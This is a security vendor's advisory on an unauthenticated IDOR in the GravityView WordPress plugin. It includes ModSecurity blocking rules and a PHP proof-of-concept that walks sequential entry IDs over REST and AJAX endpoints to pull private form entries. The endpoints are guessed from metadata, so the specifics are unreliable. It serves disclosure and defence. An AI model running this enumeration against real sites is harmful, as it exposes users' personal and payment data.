Atomic Edge analysis of CVE-2026-57665 (metadata-based): This vulnerability affects the GravityView plugin for WordPress, specifically all versions up to and including 3.0.0. The vulnerability is an unauthenticated Insecure Direct Object Reference (IDOR) with a CVSS of 5.3. An attacker can manipulate a user-controlled key to perform unauthorized actions without authentication.
The root cause, inferred from the CWE classification (CWE-639) and the description, is that the plugin fails to validate a user-controlled key before using it to access or modify a resource. The description states the vulnerability exists due to “missing validation on a user controlled key.” This is typical of IDOR vulnerabilities where a numeric ID, a post slug, or a database key is passed directly without verifying the current user’s authorization. Without a code diff, we cannot confirm the exact key or endpoint, but common patterns in WordPress plugins suggest it may involve a GET parameter like `entry_id`, `view_id`, or `field_id` passed to a REST API endpoint or an AJAX handler that serves sensitive data.
The exploited attack vector likely targets a WordPress REST API route registered by GravityView (e.g., `/wp-json/gravityview/v1/entry`) or an AJAX action (e.g., `gravityview_get_entry_data`). An unauthenticated attacker sends a request with a crafted parameter (e.g., `?id=123` or `entry_id=456`) that references a Gravity Forms entry or a view configuration. Since the plugin does not verify the user’s permissions, the attacker can access data or perform actions that require authentication or specific capabilities. A proof-of-concept could involve fetching a private Gravity Forms entry by iterating through numeric IDs.
Remediation requires the plugin to implement proper authorization checks on all user-controlled keys. The fix (version 3.0.1) likely adds a capability check (e.g., `current_user_can(‘gravityforms_view_entries’)`) or a nonce verification before processing the key. Additionally, the key should be validated against the current user’s allowed scope (e.g., ensure the entry belongs to a form the user can access). The vendor should also consider using server-side nonces for sensitive AJAX endpoints.
The impact of successful exploitation includes unauthorized access to sensitive data, such as Gravity Forms entries containing user submissions, personally identifiable information (PII), or payment details. The CVSS score of 5.3 (Medium) reflects a limited integrity impact (low) and no confidentiality impact in the base score, but Atomic Edge analysis notes that IDOR often leads to significant data exposure in practice. An attacker could exfiltrate form entries, view private data, or modify settings if the unauthorized action allows write operations.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57665 (metadata-based)
# Blocks unauthenticated IDOR attempts targeting GravityView REST API endpoints
SecRule REQUEST_URI "@rx ^/wp-json/gravityview/vd+/entries/d+"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57665 - GravityView IDOR via REST API',severity:'CRITICAL',tag:'CVE-2026-57665'"
SecRule REQUEST_METHOD "@streq GET" "chain"
SecRule &REQUEST_HEADERS:Cookie "@eq 0" "t:none"
# Blocks unauthenticated AJAX requests targeting GravityView entry retrieval
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-57665 - GravityView IDOR via AJAX',severity:'CRITICAL',tag:'CVE-2026-57665'"
SecRule ARGS_POST:action "@rx ^gravityview_(get_entry|render_entry|fetch_entry)$" "chain"
SecRule &REQUEST_HEADERS:Cookie "@eq 0" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57665 - GravityView <= 3.0.0 - Unauthenticated Insecure Direct Object Reference
// This PoC demonstrates unauthorized access to Gravity Forms entries via the GravityView REST API.
// Assumption: The plugin exposes a REST endpoint at /wp-json/gravityview/v1/entries/{id}
// which does not validate authentication or capabilities.
// Configuration
$target_url = 'https://example.com'; // Change to the target WordPress site
// Try fetching entries with sequential IDs. Unauthenticated access to an entry indicates success.
for ($entry_id = 1; $entry_id <= 5; $entry_id++) {
$endpoint = $target_url . '/wp-json/gravityview/v1/entries/' . $entry_id;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'User-Agent: Mozilla/5.0 (compatible; AtomicEdge/1.0)'
));
// Do not send cookies or auth headers
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && !empty($response)) {
$data = json_decode($response, true);
if (isset($data['data']) || isset($data['entry'])) {
echo "[+] Retrieved entry ID $entry_id (unauthenticated):n";
print_r($data);
echo "n---n";
}
} elseif ($http_code == 403) {
echo "[-] Access denied for entry ID $entry_id. Try alternate endpoints.n";
} else {
echo "[*] No data or HTTP $http_code for entry ID $entry_id.n";
}
}
// Alternative: Try AJAX action if REST endpoint is not available
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$action = 'gravityview_get_entry';
for ($entry_id = 1; $entry_id <= 5; $entry_id++) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => $action,
'entry_id' => $entry_id
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && $response !== '0' && !empty($response)) {
echo "[+] AJAX success for entry ID $entry_id: $responsen";
}
}
?>
